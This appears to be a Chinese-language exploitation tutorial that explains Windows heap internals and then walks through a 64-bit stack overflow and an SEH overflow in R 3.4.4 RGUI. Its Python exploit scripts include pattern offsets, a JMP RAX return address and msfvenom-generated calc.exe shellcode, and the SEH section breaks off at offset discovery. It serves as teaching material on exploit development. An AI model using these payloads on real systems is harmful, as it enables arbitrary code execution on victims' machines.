目标:掌握缓冲区溢出的普遍真理,熟悉漏洞分析手法
堆溢出
堆?是什么呀?《数据结构》里面也有堆这种概念
不错!但我们这里说的堆不是《数据结构》里说的堆;《数据结构》里的堆是种抽象结构,要求父结点比子结点的值都大(或小);而这里我们说的堆,是Windows系统中的一种物理结构,用来动态分配和释放对象,用在事先不知道程序所需对象的数量和大小的情况下,或对象太大而不适合堆栈分配程序的时候。英文就是heap。
栈溢出和堆溢出,只相差一个字,但内容却完全不同。栈,在可执行程序的text区,是从高地址向低地址扩展,是存放局部变量的地方,在编译时由编译器静态分配。
而堆,是在可执行程序的heap区,从低地址向高地址扩展,是存放由malloc等函数动态分配数据的地方。
与栈上的缓冲区溢出类似,如果向堆上的缓冲区写入超过其大小的内容,也会因为溢出而破坏堆上的其他内容,可能导致安全问题。
“在Windows下,用户要求分配堆时,可以通过一系列函数来完成。可以使用Win32的堆调用API函数,或者C/C++运行期库的函数等。”
和“堆”有关的几个API函数
HeapAlloc 在堆中申请内存空间
HeapCreate 创建一个新的堆对象
HeapDestroy 销毁一个堆对象
HeapFree 释放申请的内存
HeapWalk 枚举堆对象的所有内存块
GetProcessHeap 取得进程的默认堆对象
GetProcessHeaps 取得进程所有的堆对象
以上都是用户态的函数,最终都要调用ntdll里面的Rtl相关核心函数。所以,我们只用考虑RtlAllocateHeap的就行了
最好的学习方法是类比或对比。如果之前对新知识的相关背景有所了解,那学习起来会很快上手,而且很多思想和方法都可借鉴以前的东西。所以在学习堆溢出的过程中我们很多东西都可以去比对一下前面所学的栈溢出
理解堆
堆概念
在软件开发领域,合理的分配和释放内存是非常重要的,由于内存使用不当而导致的各种问题经常成为软件项目的严重障碍。提高内存的使用效率,降低操作内存的复杂性(内存分配和释放)一直都是开发领域的永恒话题。像java .net py这些语言的一个共同优势就是可以自动回收内存,降低了程序员使用内存的复杂性
前面讲过的栈结构其实也可以看作是简化内存使用的一种方法。但是这种“自动内存”也有它的不足之处:
首先栈的容量是相对较小的,由于栈帧通常是随着函数的调用和返回而创建和消除的,所以分配在栈上的变量只在函数内有效,这使栈只适合分配局部变量,不适合分配需要较长生存期的全局变量和对象
其次栈也不适合分配运行期才能决定大小(动态大小)的缓冲区
堆克服了栈的以上局限,是程序使用内存的另一种重要途径。对于应用层编程,C/C++通过可以通过malloc函数或者WIN32API HeapAlloc或者new操作符获得的内存空间都来自堆
堆的由来
Windows系统初始化时,内存管理器会创建两个动态大小的内存池(也叫作堆),大部分内核模式组件借此来分配系统内存
1.非分页池。由一系列可保证在任何时间总是驻留在物理内存中的系统虚拟地址组成,也就是不会映射到分页文件
对于等于或者高于DISPATCH_LEVEL级别的程序不能使用分页内存,必须使用非分页内存。驱动程序的StartIO全程、DPC例程、中断服务例程都运行在DISPATCH_LEVEL或者更高的IRQL,因为这些例程不能使用分页内存,否则会导致系统崩溃蓝屏。
原因在于因为缺页中断机制是运行在 DISPATCH_LEVEL 级别下的,和当前代码处于一个级别,当代码访问到一个内存页在换页文件的时候,缺页机制无法打断当前代码的运行,从而无法进行页交换,导致访问到了一个错误的内存地址,进而蓝屏。因此任何代码和数据如果需要在DISPATCH_LEVEL级别或更高的级别执行或访问,都必须位于非分页池内存中
2.分页池。分页池是指映射到分页文件的虚拟地址,当要使用该地址时才交换到物理内存中,由系统来调度
以上两个内存池都位于系统地址空间中,可映射到每个进程的虚拟地址空间。执行体提供了从这些池中分配和释放内存所需的例程。参考WDK中,名称以ExAllocatePool、ExAllocatePoolWithTag以及ExFreePool开头的函数对应的文档
任务管理器 -- 性能 -- 内存可查看两个池的大小
堆管理器 池管理器
应用程序的内存需求通常是频繁而又零散的,如果把这些请求直接递给位于内核中的内存管理器,那么必然会影响到系统性能。所以为了减轻内存管理器的负担,缩短应用程序申请内存分配所需时间提高运行速度,系统设计了堆管理器
内存管理器将一块较大的内存空间委托给堆管理器来管理,堆管理器将大块的内存分割成不同大小的很多小块(Chunk)来满足应用程序的需要。这就像中间商,从内存管理器那里批发大块内存,然后零售给应用程序的各个模块
与之对应,为了满足内核空间中的驱动程序等内核态代码的内存分配需要,Windows系统的内核模块中也实现了一系列函数来进行“零售”服务,为了与用户空间的堆管理器区别,这些函数统称为池管理器
除了内核中的池管理器和NTDLL.DLL中的堆管理器而外,为了支持C的内存分配函数和C++的内存分配运算符。编译器的C运行时库会创建一个专门的堆供这些函数使用。通常称为CRT堆。
CRT堆只是对WIN32堆的一种简单封装,再原来的基础上又增加了一些附加的功能。其用意是降低编译器与操作系统间的耦合度,另一个好处是借助这些中间函数加入内存检测功能来辅助调试
根据分配堆块的方式不同,CRT堆有3种工作模式:SBH模式、Old SBH模式和系统模式。创建CRT堆时会选择其中一种,对于前两种模式,CRT堆会使用虚拟内存分配API从内存管理器批发大的内存块过来,然后分割成小的堆块满足应用程序的需要。对于系统模式,CRT堆只是把堆块分配请求转发给它所基于的WIN32堆。
Windows多级内存分配体系:

堆的创建和销毁
进程堆&私有堆
Windows系统再创建一个新的进程时,在加载器函数执行进程的用户态初始化阶段,会调用RtlCreateHeap函数为新的进程创建第一个堆,称为进程的默认堆,有时候也称为“进程堆”。这个堆在进程生命周期内永远不会删除,其大小默认是1MB,可以在链接器中使用/HEAP标志指定更大的初始大小
创建好的堆句柄会保存到进程环境块(PEB)的ProcessHeap字段中
dt _peb 0000001ed0e49000 -y ProcessHeap HeapSegmentReserve HeapSegmentCommit

使用GetProcessHeap可以获取当前进程的进程堆句柄,然后就可以使用HeapAlloc从这个堆上申请空间
void* heap = HeapAlloc(GetProcessHeap(), 0, 分配堆的大小)
除了系统为每个进程创建的默认堆,应用程序也可以通过调用HeapCreate API创建额外的私有堆
当不需要某个私有堆时还可以调用HeapDestroy来销毁
HeapCreate会把创建的堆句柄记录到进程的PEB结构的堆列表中
每个进程的PEB结构都有一个堆列表,这个列表记录了当前进程的所有堆句柄,包括进程的默认堆。
PEB中有3个字段用于记录这些句柄
dt _peb 000000bd1da65000 -y NumberOfHeaps MaximumNumberOfHeaps ProcessHeaps
NumberOfHeaps用来记录堆的总数;ProcessHeaps是一个数组,用来记录每个堆的句柄,这个数组可以容纳的句柄数记录在MaximumNumberOfHeaps字段,如果NumberOfHeaps达到MaximumNumberOfHeaps,堆管理器会自动增大MaximumNumberOfHeaps的值,并重新分配ProcessHeaps数组
查看进程的堆信息
dd xxxxxx(ProcessHeaps) l10
!heap -h
堆块的分配和释放
调用HeapFree并不意味者对管理器会将这块内存交还给内存管理器。这是因为应用程序还有可能会继续申请空间,为了减少与对管理器交互的次数,堆管理器只有在下面两个条件同时满足时才会立即调用ZwFreeVirtualMemory函数将其交还给内存管理器,这个过程被称为解除提交。
第一个条件:本次释放的堆块大小超过了_PEB中的HeapDeCommitFreeBlockThreshold字段的值
第二个条件:空闲空间的总大小超过了_PEB中的HeapDeCommitTotalFreeThreshold字段的值
观察堆的基本信息
!heap 堆句柄 -v
堆内部结构
从前面的_PEB中的堆数组我们可以知道,进程中可以存在多个堆。在每个堆内部又可以分为多个堆段。堆管理器在创建堆时创建的第一个段,我们将其称为0号段。如果堆是可增长的,当一个段不能满足要求时,堆管理器会继续创建其他段。但最多可以有64个段。段内部又由堆块构成。
HEAP结构
每个堆使用HEAP结构来描述,HEAP结构记录该堆的属性和资产情况。因此该结构也被称为是堆的头结构。调用HeapCreate函数返回的句柄便是此结构的地址
dt _heap
ntdll!_HEAP
+0x000 Segment : _HEAP_SEGMENT
+0x000 Entry : _HEAP_ENTRY
+0x010 SegmentSignature : Uint4B
+0x014 SegmentFlags : Uint4B
+0x018 SegmentListEntry : _LIST_ENTRY
+0x028 Heap : Ptr64 _HEAP
+0x030 BaseAddress : Ptr64 Void
+0x038 NumberOfPages : Uint4B
+0x040 FirstEntry : Ptr64 _HEAP_ENTRY
+0x048 LastValidEntry : Ptr64 _HEAP_ENTRY
+0x050 NumberOfUnCommittedPages : Uint4B
+0x054 NumberOfUnCommittedRanges : Uint4B
+0x058 SegmentAllocatorBackTraceIndex : Uint2B
+0x05a Reserved : Uint2B
+0x060 UCRSegmentList : _LIST_ENTRY
+0x070 Flags : Uint4B
+0x074 ForceFlags : Uint4B
+0x078 CompatibilityFlags : Uint4B
+0x07c EncodeFlagMask : Uint4B
+0x080 Encoding : _HEAP_ENTRY
+0x090 Interceptor : Uint4B
+0x094 VirtualMemoryThreshold : Uint4B
+0x098 Signature : Uint4B
+0x0a0 SegmentReserve : Uint8B
+0x0a8 SegmentCommit : Uint8B
+0x0b0 DeCommitFreeBlockThreshold : Uint8B
+0x0b8 DeCommitTotalFreeThreshold : Uint8B
+0x0c0 TotalFreeSize : Uint8B
+0x0c8 MaximumAllocationSize : Uint8B
+0x0d0 ProcessHeapsListIndex : Uint2B
+0x0d2 HeaderValidateLength : Uint2B
+0x0d8 HeaderValidateCopy : Ptr64 Void
+0x0e0 NextAvailableTagIndex : Uint2B
+0x0e2 MaximumTagIndex : Uint2B
+0x0e8 TagEntries : Ptr64 _HEAP_TAG_ENTRY
+0x0f0 UCRList : _LIST_ENTRY
+0x100 AlignRound : Uint8B
+0x108 AlignMask : Uint8B
+0x110 VirtualAllocdBlocks : _LIST_ENTRY
+0x120 SegmentList : _LIST_ENTRY
+0x130 AllocatorBackTraceIndex : Uint2B
+0x134 NonDedicatedListLength : Uint4B
+0x138 BlocksIndex : Ptr64 Void
+0x140 UCRIndex : Ptr64 Void
+0x148 PseudoTagEntries : Ptr64 _HEAP_PSEUDO_TAG_ENTRY
+0x150 FreeLists : _LIST_ENTRY
+0x160 LockVariable : Ptr64 _HEAP_LOCK
+0x168 CommitRoutine : Ptr64 long
+0x170 StackTraceInitVar : _RTL_RUN_ONCE
+0x178 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0x198 FrontEndHeap : Ptr64 Void
+0x1a0 FrontHeapLockCount : Uint2B
+0x1a2 FrontEndHeapType : UChar
+0x1a3 RequestedFrontEndHeapType : UChar
+0x1a8 FrontEndHeapUsageData : Ptr64 Wchar
+0x1b0 FrontEndHeapMaximumIndex : Uint2B
+0x1b2 FrontEndHeapStatusBitmap : [129] UChar
+0x238 Counters : _HEAP_COUNTERS
+0x2b0 TuningParameters : _HEAP_TUNING_PARAMETERS
VirtualMemoryThreshold为虚拟内存分配阈值,表示可以在段中分配的堆块的最大有效(即应用程序可以实际使用的)值,该值为0xff00 * 分配粒度16字节 = 15 EA00字节 = 1402kB。当应用程序从堆中分配的堆块的最大大小大于该值的申请,堆管理器会直接从内存管理器中分配,并不会从从空闲链表申请。同时将此空间添加到VirtualAllocdBlocks结构所指向的链表中。
VirtualAllocdBlocks是一个链表的头指针,该链表维护着所有大于VirtualMemoryThreshold直接从内存管理器申请的空间。
Segment记录着堆拥有的所有段。每个元素类型为_HEAP_SEGMENT结构。
FreeLists是一个双向链表的头指针,该链表记录着所有空闲堆块的地址。链表元素为FREE_LIST结构
该链表为双向链表,每个链表中都保存着一些空闲堆块。各个链表项都指向_HEAP_FREE_ENTRY结构中的FreeList字段。
当应用程序申请新的空间时,堆管理器会首先遍历这个链表,如果找到满足需要的堆块就分配出去。否则便要考虑建立新的堆块或从内存管理器申请空间。在释放时,当不满足解除提交条件时,大多数情况下也是将要释放的堆块加入到该空闲链表中。
堆段(HEAP_SEGMENT)结构
dt _heap_segment 0x29276a60000
ntdll!_HEAP_SEGMENT
+0x000 Entry : _HEAP_ENTRY
+0x010 SegmentSignature : 0xffeeffee
+0x014 SegmentFlags : 2
+0x018 SegmentListEntry : _LIST_ENTRY [ 0x00000292`76a60120 - 0x00000292`76a60120 ]
+0x028 Heap : 0x00000292`76a60000 _HEAP
+0x030 BaseAddress : 0x00000292`76a60000 Void
+0x038 NumberOfPages : 0xff
+0x040 FirstEntry : 0x00000292`76a60740 _HEAP_ENTRY
+0x048 LastValidEntry : 0x00000292`76b5f000 _HEAP_ENTRY
+0x050 NumberOfUnCommittedPages : 0xb0
+0x054 NumberOfUnCommittedRanges : 1
+0x058 SegmentAllocatorBackTraceIndex : 0
+0x05a Reserved : 0
+0x060 UCRSegmentList : _LIST_ENTRY [ 0x00000292`76aaefe0 - 0x00000292`76aaefe0 ]
Entry字段是一个数组,存储着该段所有的堆块。由于每个堆块使用HEAP_ENTRY结构描述,因此该数组元素类型为HEAP_ENTRY。
Heap字段维护该块块所属的堆的_HEAP结构的首地址。
BaseAddress字段维护该段的基地址。
FirstEntry表示该段中第一个堆块的地址。
堆块(HEAP_ENTRY)结构
段内部又可以分为多个堆块。堆块使用 HEAP_ENTYR结构来描述,该结构占0x10 Byte。HEAP_ENTRY结构之后就是供应用程序使用的区域。调用HeapAlloc函数将返回HEAP_ENTRY之后的地址。此地址减去16Byte便可以得到_HEAP_ENTRY结构。
dt _heap_entry
ntdll!_HEAP_ENTRY
+0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY
+0x000 PreviousBlockPrivateData : Ptr64 Void
+0x008 Size : Uint2B
+0x00a Flags : UChar
+0x00b SmallTagIndex : UChar
+0x008 SubSegmentCode : Uint4B
+0x00c PreviousSize : Uint2B
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar
+0x008 CompactHeader : Uint8B
+0x000 ExtendedEntry : _HEAP_EXTENDED_ENTRY
+0x000 Reserved : Ptr64 Void
+0x008 FunctionIndex : Uint2B
+0x00a ContextValue : Uint2B
+0x008 InterceptorValue : Uint4B
+0x00c UnusedBytesLength : Uint2B
+0x00e EntryOffset : UChar
+0x00f ExtendedBlockSignature : UChar
+0x000 ReservedForAlignment : Ptr64 Void
+0x008 Code1 : Uint4B
+0x00c Code2 : Uint2B
+0x00e Code3 : UChar
+0x00f Code4 : UChar
+0x00c Code234 : Uint4B
+0x008 AgregateCode : Uint8B
HEAP_ENTRY的Size字段以分配粒度表示该堆块的大小
PreviousSize表示前一个堆块的大小
Flags字段代表堆块的状态

UnusedBytes表示多分配的字节数。比如应用程序申请1020个字节,但堆管理器为了内存对齐分配了1024个字节。这4个字节就是多分配的值,此时Unused字段就为4。
分配策略
https://os.51cto.com/article/675085.html
_HEAP结构的FrontEndHeap字段指向前端分配器。与前端分配器对应的是后端分配器。
前端分配器维护固定大小的自由列表。当从堆中分配内存时,堆管理器会首先从前端分配器中查找符合条件的堆块。如果失败则会从后端分配器分配。
可以将前端分配器比作一个”快表”,它的存在就是为了加快释放和分配堆的速度。
Windows有两种类型的前端分配器:
旁视列表(LAL)前端分配器和低碎片堆(LF)前端分配器。它们分别对应两种不同的堆块分配和回收策略。
可以调用HeapQueryInformation来查询堆支持何种前端分配器。默认进程堆在xp下默认开启旁视列表前端分配器,在win7-10下默认开启低碎片前端分配器
我们也可以通过HeapSetInformation给堆指定支持何种前端分配器
参考:https://mp.weixin.qq.com/s/cdvMp65C7tBC2e8-pwiJpA https://bbs.pediy.com/thread-252569.htm#msg_header_h3_4
win10 64位缓冲区溢出
理解不同架构调用函数的方式,以及在64位上利用漏洞方面的差异。
寄存器

调用约定
x86-32 的调用约定通常是cdecl或stdcall(cdecl 用于大多数,stdcall 用于 Windows API)。但是,几乎在所有情况下,x86-64 都使用fastcall调用约定。
Fastcall 将传递给函数的前四个参数放在寄存器 RCX、RDX、R8 和 R9 中,而其他参数则放在栈中。寄存器 RAX、RCX、RDX、R8、R9、R10 和 R11 被认为是易失性寄存器,这意味着它们的值不会通过函数调用被保留,不像放在RBX、RBP、RDI、RSI、RSP、R12、R13、R14和R15中的值会被保留
当一个 fastcall 函数返回一个值时,它将被存储在 RAX 中(如果小于 8 个字节,则存储该值本身,如果大于 8 个字节,则存储一个指向该值的指针)。因此,如果我们可以用指向 JMP RAX 指令的指针覆盖函数返回指针,我们就可以跳转到该函数返回值在内存中的位置。
覆盖 RIP
在 32 位架构应用程序中,如果缓冲区以适当的方式溢出,则 EIP 寄存器将加载栈上覆盖的返回指针地址。64 位应用程序不是这种情况,它只会将规范地址加载到 RIP 寄存器中。例如,您不能用 A 溢出缓冲区并期望看到 RIP 被 41覆盖掉,因为 0x4141414141414141 不是一个规范地址。但是,我们可以用我们想要执行的某些指令集的规范地址覆盖返回指针,这个地址将被加载到 RIP 中并正常运行。
在64位体系结构中,地址空间分开成2部分:
用户模式地址的范围:0x0000000000000000~0x0000FFFFFFFFFFFF;内核模式地址的范围:0xFFFF000000000000~0XFFFFFFFFFFFFFFFF。这些范围之外的任何地址都是非规范的。
确认漏洞存在
为了确认漏洞的存在,我们需要向程序传递一个恶意的payload,这会导致程序崩溃。当这个程序读取一个文件作为输入时,我们将使用下面的python脚本向一个文件写入1000个A,然后将它传递给该程序。
f = open("payload.txt", "wb")
buf = b"A" * 1000
f.write(buf)
f.close()
首先,确保受攻击的应用程序正在运行并附加到 x64dbg。然后将payload文件的路径传递给易受攻击的应用程序并观察 x64dbg 中的崩溃情况。查看堆栈视图,我们现在看到返回指针已被覆盖。

但是,寄存器视图显示 RIP 没有被 A (0x41)覆盖。这是因为 RIP 不会加载非规范地址(如前所述)。
漏洞利用
确定返回点
ERC --pattern c 1000

将其添加到我们的漏洞利用代码中:
f = open("payload.txt", "wb")
buf = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"
buf += b"9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"
buf += b"Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"
buf += b"i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al"
buf += b"7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6"
buf += b"Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A"
buf += b"r6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au"
buf += b"5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4"
buf += b"Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3B"
buf += b"a4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd"
buf += b"3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2"
buf += b"Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
f.write(buf)
f.close()
运行 python 程序并将创建的文件 (payload.txt) 再次传递给应用程序。它应该会导致崩溃。由于 RIP 不会加载非规范地址,我们将无法使用 ERC的FindNRP 命令来识别返回指针被覆盖的位置。但是,我们可以复制返回指针被覆盖的值并将其传递给pattern命令。

上图中看到的值“3978413878413778”转换为 ascii 为“9xA8xA7x”。我们可以将它与pattern命令一起使用,以识别返回指针在输入字符串中被覆盖了多远。
ERC --pattern o 9xA8xA7x

既然我们已经确定了返回点,那么是时候确定RAX是否指向了有用的内存部分。右键单击x64dbg中的RAX寄存器并选择“在内存窗口中转到”,现在我们可以看到RAX指向的缓冲区。

现在我们知道我们可以控制 RIP,并且我们有一个指向我们控制的内存区域的寄存器,所以现在我们需要的只是一个指向 JMP RAX 指令的指针,让程序执行流程转移到我们的恶意缓冲区的开头。OK,让我们确定 JMP RAX 对应的十六进制代码。
ERC --assemble JMP RAX

现在,让我们在应用程序中搜索指向JMP RAX指令的合适地址
ERC --searchmemory FF E0

我们选择没有启用ASLR、NXCompat (DEP)、SafeSEH 和 Rebase 的地址(OsDLL表示系统DLL)。也就是所有false的地址,上图一共有4个可选,这里我选择我的幸运数字“7”开头的地址
f = open("payload.txt", "wb")
buf = b"\x90" * 712
buf += b"\xA0\x6C\x7D\x00\x00\x00\x00\x00" #00000000007D6CA0
f.write(buf)
f.close()
用NOP指令替换A,这样当我们进入payload时,不会使应用程序崩溃。然后可以在JMP RAX指令处置一个断点,这样偏于我们观察程序执行流程。

RIP 现在已被我们的 JMP RAX 指针覆盖,通过查看反汇编视图可以看到我们已经达到了断点。
按 F7 单步执行,程序会执行到 RAX 指向的位置,将置于 NOP 缓冲区中。

我们现在已经将程序执行重定向到我们控制的内存部分,现在万事俱备,只欠shellcode。这里可以添加任意功能的shell,作为经典漏洞演示,我们使用MSFvenom生成一个弹计算器的shellcode
msfvenom -p windows/x64/exec CMD=calc.exe -f py
f = open("payload.txt", "wb")
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
buf += b"\x78\x65\x00"
buf += b"\x90" * (712 - len(buf))
buf += b"\xA0\x6C\x7D\x00\x00\x00\x00\x00" #00000000007D6CA0
f.write(buf)
f.close()
基于 SEH 的缓冲区溢出
熟悉基于结构化异常处理程序/SEH 的缓冲区溢出漏洞利用的工作原理
SEH?
结构化异常处理(SEH)只是程序设计中的代码,用于处理由于硬件或软件问题导致的程序抛出异常的情况。一言以蔽之,它的作用就是抓住这些情况并采取措施解决它们;
反汇编看,SEH 代码位于每个
try-catch代码块的栈上,每个处理程序都有自己的栈帧;SEH作为
EXCEPTION_REGISTRATION_RECORD内存结构(也称为SEH记录)存储在栈中,由两个4字节的指针组成:第一个指向 SEH 链中下一个 SEH 记录;
指向异常处理程序代码的指针 -
catch代码块的一部分。这是试图解决程序抛出的异常的代码;一个程序可以有多个注册的SEH,它们通过链表连接,形成一个 SEH 链;
一旦程序抛出异常,操作系统就会运行 SEH 链并尝试找到合适的异常处理程序;
如果没有找到合适的处理程序,则从 SEH 链的底部使用默认的 OS 处理程序(SetUnhandledExceptionFilter)。所有 SEH 链总是以默认的 Windows SEH 记录结束。Next SEH Record 字段指向
FFFFFFFF,表示这是链中的最后一条 SEH 记录;SEH链存储在线程环境块(TEB)内存结构其第一个成员称为线程信息块(TIB)中,可以通过FS段寄存器
FS:[0x00]访问;每个进程都包含一个线程环境块 ( TEB ),可以通过FS段寄存器
FS:[0x00]访问,其内存结构其第一个成员称为线程信息块(TIB),TIB中又包含了SEH,所以fs:[0]可以访问到SEH 链中的第一个元素32 位应用程序可以通过指定
/SAFESEH链接开关来防止大多数应用程序中的 SEH 漏洞,这将生成一个带有安全异常处理程序表的 PE 文件。64 位应用程序不易受到 SEH 攻击。默认情况下,它们构建一个有效异常处理程序列表并将其存储在文件的 PE 头中。因此,64 位应用程序不需要此开关

内存结构
线程环境块在操作系统中被描述为_TEB内存结构,在WinDBG中察看:
dt _teb

从上面的截图可以看出,TEB的第一个成员是_NT_TIB(线程信息块)内存结构,继续:
dt _NT_TIB

如前所述,_NT_TIB结构中的第一个成员是指向_EXCEPTION_REGISTRATION_RECORD内存结构的指针,它是SEH链的第一个SEH记录/头:
dt _EXCEPTION_REGISTRATION_RECORD

SEH记录内存结构的第一个成员_EXCEPTION_REGISTRATION_RECORD是指向下一个 SEH 记录的指针,第二个成员是指向_EXCEPTION_DISPOSITION内存结构中定义的异常处理程序的指针。
OK,我们已经了解了几个关键的内存结构,现在让我们看看定义了一些SEH记录的真实程序时,这些结构是什么样子的
int main(int argc, char* argv[])
{
try
{
throw 1;
}
catch (int e)
{
}
return 0;
}
让我们将上面的程序编译为 seh-overflow.exe 并再次使用 WinDBG 察看它,这次使用!teb命令:

我们可以看到_TEB位于00c3c000并且ExceptionList(SEH 链的头)位于0101f968。前面我们说过,这个值也可以从 FS 段寄存器fs:[0]中获取,所以让我们确认一下:
dd fs:[0] L1

果不其然,让我们继续察看一下SEH的头:
dt _EXCEPTION_REGISTRATION_RECORD 0101f968

我们可以遍历 SEH 链中所有已注册的 SEH 记录,在windbg中非常简单,点击Next即可,如下所示:

但是请注意,这些 SEH 记录是在 ntdll 中定义的异常处理程序,而不是在我们编译的二进制文件中:

为了查看程序定义的SEH记录,我们需要它执行main()函数中的try / catch代码块。让我们看看程序入口点的CPU指令:
u $exentry

入口点中的一堆 jmp 指令,这里windbg加载了seh-overflow.pdb,所以这里我们可以看到mainCRTStartup,让我们在它后面下个断点:
bp $exentry + 5 //入口点+5个字节,即第一条jmp运行完之后
g

现在让我们看看 SEH 头在哪里:

我们现在可以看到 SEH 链的起点(第一条 SEH 记录)发生了变化,位于0101fe7c,察看:
dt _EXCEPTION_REGISTRATION_RECORD 0101fe7c

第一个 SEH 记录的异常处理程序位于0x00f03ce0,毫无疑问,0x00f03ce0位于我们的seh-overflow.exe映像中
此外,windbg的!exchain扩展命令可以显示当前异常处理程序链:

使用 xdbg 轻松发现 SEH 记录:

利用SEH溢出
我们将在 32 位 Windows 10 上利用R 3.4.4
确认漏洞存在
xdbg附加到RGUI.exe,注意,如果你是直接用xdbg打开它,那么需要按F9以显示程序的GUI

让我们生成一些垃圾数据,将它们发送到 RGUI 以确认其存在缓冲区溢出:
python -c "print('A'*3000)" | clip.exe
单击编辑 -> GUI 首选项,打开 RGUI 配置编辑器,将生成的垃圾数据粘贴到“Language for menus and messages”输入框中,如图所示,单击 OK,然后再次单击 OK:

此时,查看xdbg,我们可以确认程序崩溃了,并且发生了典型的缓冲区溢出,因为我们能够用AAAA (0x41414141)覆盖EIP寄存器。(当然,如果您愿意,也可以编写针对这种类型的漏洞的利用程序)

然而,更重要的是,如果我们导航到X64dgb的SEH选项卡,可以看到第一个 SEH 记录已被覆盖:SEH 记录的处理程序地址被覆盖,指向下一个 SEH 记录的指针也被覆盖。

至此,我们已经确认应用程序容易受到SEH覆盖的攻击。
接下来,编写我们的漏洞利用代码。
首先回顾之前我们讲到的栈溢出利用的三大步骤:
1.返回点的定位
2.ShellCode的编写。我们可以自己写,也可以拿现成的用
3.把函数返回点覆盖成JMP ESP的地址,在这里我把异常处理点覆盖成pop pop ret 的地址
确定 SEH 记录偏移
我们需要找到一个可以覆盖 SEH 记录的偏移量。当用户提供的输入发送到具有缓冲区溢出漏洞的程序时,栈将从较低的内存地址覆盖到较高的内存地址。
我们还知道 SEH 记录存储在栈上,每条记录都是一个 8 字节的内存结构,其中包含:
1 .指向下一个 SEH 记录的指针;
2 .当前 SEH 记录的异常处理程序。
基于以上,为了确定 SEH记录偏移,我们应该生成一个结构如下的测试payload:

现在我们要确定A的数量。根据到目前为止观察到的信息,我们已经确定,当向程序发送3000个A时,我们应该能够覆盖到SEH
让我们使用metasploit的实用工具pattern_create生成一个3000字符的字符串pattern:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

将该字符串发送到被攻击的程序,并再次观察崩溃:

从上面的截图中可以看到,SEH 记录的处理程序地址被覆盖为68423768
